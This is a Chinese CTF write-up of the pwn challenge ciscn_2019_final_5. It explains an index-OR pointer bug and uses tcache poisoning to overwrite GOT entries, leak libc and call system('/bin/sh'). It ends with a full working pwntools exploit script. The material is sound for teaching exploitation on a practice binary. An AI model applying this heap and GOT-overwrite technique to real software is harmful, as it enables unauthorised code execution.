BUU_ciscn_2019_final_5临界条件处理

ELF分析

64位、2.27libc
在这里插入图片描述

代码分析

在这里插入图片描述
没有打印地址函数
没有常见溢出、uaf等利用点,这里自己做的时候能想到的只有老2.27版本没有double_free的检测可利用,所以学习了一下其他师傅的wp:
Lynne
L.o.W
这题在存储chunk地址时做了特殊处理:
在这里插入图片描述
将chunk地址与其对应idx进行或运行,且在后续的delete以及edit中对idx的取值是遍历chunk_ptr,找到满足chunk_adr & 0xf == idx 条件的地址
在这里插入图片描述
因为地址最后4位为 0000,所以利用最后四位来存idx似乎没有任何问题,但题目可以让我们取到0x10,即 1 0000,而由于bins的存在,我们malloc申请到的第一块地址会以0x260结尾,即 110 0000,所以在存入chunk_ptr时,进行或运行得到0x270,所以在后续的delete、edit的地址也会+0x10,不过要注意,此时我们输入idx为0才是这块地址
在这里插入图片描述
到这里利用点也就明显了,我们可以先申请idx为0x10的chunk,并输入伪造chunk头,当我们再次申请回来时,便可以实现对临近的chunk写入,2.27的tcache,懂的都懂,修改next指针,任意地址控制。
控制chunk_ptr地址,写入我们需要修改内容的地址,利然后用edit进行修改
因为需要泄露地址,将free_got覆盖为puts_plt
然后将atoi_adr覆盖为system

想法实现

在这里插入图片描述
在实现过程还要注意一些小细节
在这里插入图片描述
free_got、atoi_got的地址是以0x8结尾的,所以一是要区分他们俩,二是用edit修改时,edit会取0x0结尾,所以要多覆盖0x8
顺便说一下有些师傅说的可以控制到size数组,是可以,不过这题没必要,也没必要覆盖size数组

完整EXP

from pwn import *		
context(log_level='debug',os='linux',arch='amd64')
pwnfile = './ciscn_final_5'
io=process(pwnfile)
#io=remote('node4.buuoj.cn',25411)
elf = ELF(pwnfile)
libc = ELF("./libc.so.6")
def debug():
	gdb.attach(io)
	pause()
#NO PIE  Partial RELRO  2.27
def cmd(x):
	io.recvuntil("your choice:")
	io.sendline(str(x))
def add(idx,size,content):
	cmd(1)
	io.recvuntil("index:")
	io.sendline(str(idx))
	io.recvuntil("size:")
	io.sendline(str(size))
	io.recvuntil("content:")
	io.send(content)
def edit(idx,content):
	cmd(3)
	io.recvuntil("index: ")
	io.sendline(str(idx))
	io.recvuntil("content: ")
	io.send(content)
def delete(idx):
	cmd(2)
	io.recvuntil("index: ")
	io.sendline(str(idx))
chunk_ptr = 0x06020E0
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
atoi_got = elf.got['atoi']
print("free_got-->",hex(free_got))
print("puts_got-->",hex(puts_got))
print("atoi_got-->",hex(atoi_got))

add(16,0x18,p64(0)+p64(0x91))
add(1,0xa0,b'bbbb')
delete(0)  
delete(1)  #提前放入tcache
pay = p64(0)+p64(0x21)+p64(chunk_ptr)
add(2,0x80,pay)  

add(3,0xa0,b'cccc') #提前放入的chunk1
pay = p64(free_got)+p64(atoi_got-7)+p64(puts_got+2)
add(4,0xa0,pay)
#debug()
#free_got,以及atoi_got的地址是以0x8结尾
#但edit会取0x0结尾,所以下需要多写入0x8
edit(8,p64(puts_plt)*2)  
delete(2)
puts_adr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
libc_base = puts_adr - libc.symbols['puts']
sys_adr = libc_base + libc.symbols['system']
print("libc_base-->",hex(libc_base))
edit(1,p64(sys_adr)*2)

io.recvuntil("your choice:")
io.sendline(b'/bin/sh\x00')
io.interactive()

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值